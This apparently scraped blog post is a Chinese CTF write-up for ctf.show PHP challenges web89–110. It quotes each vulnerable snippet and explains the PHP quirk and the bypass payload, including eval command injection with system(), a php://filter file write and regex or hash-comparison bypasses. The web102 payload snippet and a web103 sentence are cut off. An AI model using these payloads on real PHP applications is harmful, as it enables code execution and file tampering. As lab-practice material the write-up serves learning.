ctf.show php特性(89~110)

web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }

考察preg_match函数处理不了数组,错误返回0,即是我们想要的

/?num[]

web90

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

强比较,intval()用于获取变量的整数值,如果输入4476.1应该是符合题干的

/?num=4476.1

 还有不少方法,记录一下

/?num=4476a
 
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

web91

include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

边界字符 ^ 和 $ 匹配开头和结尾

^php          意思为以php开头
php$          意思是以php结尾
^php$        意思是以php开头并以php结尾

i 表示忽略大小写   m表示多行匹配

在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。

通过换行%0a 绕过第二次正则,因为第二次只匹配第一行,第一行是空的

/?cmd=%0aphp
%0aphp即换行+php:
'
php'
 
经过第一个匹配时,是多行匹配,第一行不满足第二行满足
经过第二个匹配时,是单行匹配,第一行是空的,不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

web92

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

这次是弱比较,可以利用16进制、8进制、小数点过滤,做法类似web90

弱比较的话4476a是没法绕过了

/?num=0x117c  十六进制
/?num=010574  八进制
/?num=4476.1  小数点

 还可以利用e表示科学计数法

/?num=4476e123

4476e123显然不等于4476所以绕过第一关
4476e123 在第二关时,e由于是字母 所以只能读取到4476,所以又符合等于4476 的条件

web93

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

 又多过滤了字母,8进制和小数点还可以用

/?num=4476.1
/?num=010574

web94

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() 函数对大小写敏感。

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。

同时注意字符串位置是从0开始,而不是从1开始的。 

分析一下就是如果$num中没有0就会die

但是$num中第0个位置是0也会返回下标0,即false 

/?num=4476.0   小数点凑0
/?num= 010574  八进制前加空格
/?num=+010574  或者加+

web95

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    

 多过滤了 .  

这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点

通过换行符%0a 、空格符%20等结合八进制绕过

/?num= 010574
/?num=+010574
/?num=%20010574
/?num=%0a010574

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

在linux下面表示当前目录是 ./ 

/?u=./flag.php     相对路径
/?u=/var/www/html/flag.php  绝对路径
/?u=php://filter/resource=flag.php  伪协议

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

考察点:三目运算符的理解+变量覆盖

$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,那么就可以用post覆盖get中的值

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面

所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

/?1  
HTTP_FLAG=flag  

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array  检查数组中是否存在某个值,存在弱类型比较

array_push 将一个或多个单元压入数组的末尾

file_put_contents 写入数据进文件

web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    

 is_numeric  检测变量是否为数字或数字字符串

优先级:&& > || > = > and > or

所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号

/?v1=1&v2=system('tac ctfshow.php')&v3=;
/?v1=1&v2=var_dump($ctfshow)&v3=;

 flag_is_558ddaaa0x2d6a320x2d43080x2da4ab0x2d6e0c94259ffa

 将0x2d替换成-

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

过滤了很多东西 

使用反射类直接输出class ctfshow的信息

/?v1=1&v2=echo new ReflectionClass&v3=;

web102

$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

substr — 返回字符串的子串 PHP: substr - Manual

call_user_func — 把第一个参数作为回调函数调用PHP: call_user_func - Manual

hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制

$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制  

v2要求必须数字,这个数字经过v1转换字符串得到base64,再v3伪协议去base64解码后成为一条php语句

payload:
$a='

输出$c=5044383959474e6864434171594473,带e的话会被认为是科学计数法,可以通过is_numeric检测。

同时因为经过substr处理,所以v2前面还要补两位任意数字,这里使用00

就得到了v2=005044383959474e6864434171594473

GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
POST:v1=hex2bin

 访问1.php后看源码

web103

$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

正则匹配的意思为:$str中不能出现以p开头中间有h然后以p结尾的子串

我们是用的这

与上一题一样

web104

include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

这题只需要传入的v1=v2即可 

shal绕过可以用数组,v1[]=1,v2[]=2

或者碰撞出来的0e开头

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

$$的变量覆盖

GET和POST获得的参数是以键值对的形式存储的

分析:(关键就是$$key=$$value)

第一个foreach是GET的键不能是error,第二个是POST的值不能是flag

题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。

分析GET请求

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//当传入suces=flag时,实际上执行的是$suces=$flag
//即把flag赋值给了suces变量
GET:?suces=flag

分析POST请求 

foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
 
//传入error=suces,得到$error=$suces=$flag
//即成功把flag的值赋给了error变量
POST:error=suces

web106

include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

这里传入的v1和v2不能相等,但是经过sha1之后得相等

sha1()函数无法处理数组,遇到数组时会报错并返回NULL 

GET:?v2[]=1
POST:v1[]=2

这几个经过sha1之后都是0exxx的字符串
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web107

include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str()将字符串解析成多个变量、如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。

分析:

parse_str()会将v1字符串解析为变量存于数组v2中。

GET:?v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
 
//1的md5值为 c4ca4238a0b923820dcc509a6f75849b

这样经过parse_str之后,$v2['flag']=c4ca4238a0b923820dcc509a6f75849b 

2,或者直接利用md5无法输出数组,返回是NULL的情况,让两边都是NULL

/?v3[]=
v1=

web108

error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

strrev()返回 string 反转后的字符串

intval()函数遇到非数字字符就会停止识别, 877aa识别为877

ereg函数是正则表达式匹配,存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,%00是空字符,不是空格什么的,是不可见字符

这题ereg()函数要求GET传入的所有字符都必须是大小写字母,但是想要得到flag,又必须有数字,这时就可以用到ereg()的%00截断漏洞,当ereg读到%00时就被截止。0x36d等于10进制的877

/?c=a%00778

 web109

error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()

/?v1=Exception&v2=system('tac fl36dg.txt')

 反射类解法:

/?v1=Reflectionclass&v2=system('tac fl36dg.txt')

web110

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

FILESYSTEMITERATOR:获取指定目录下的文件

 getcwd()  取得当前工作目录

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。因为FilesystemIterator一次只会得到一个文件名。

/?v1=FilesystemIterator&v2=getcwd

你可能感兴趣的:(刷题,wp,php,开发语言,后端)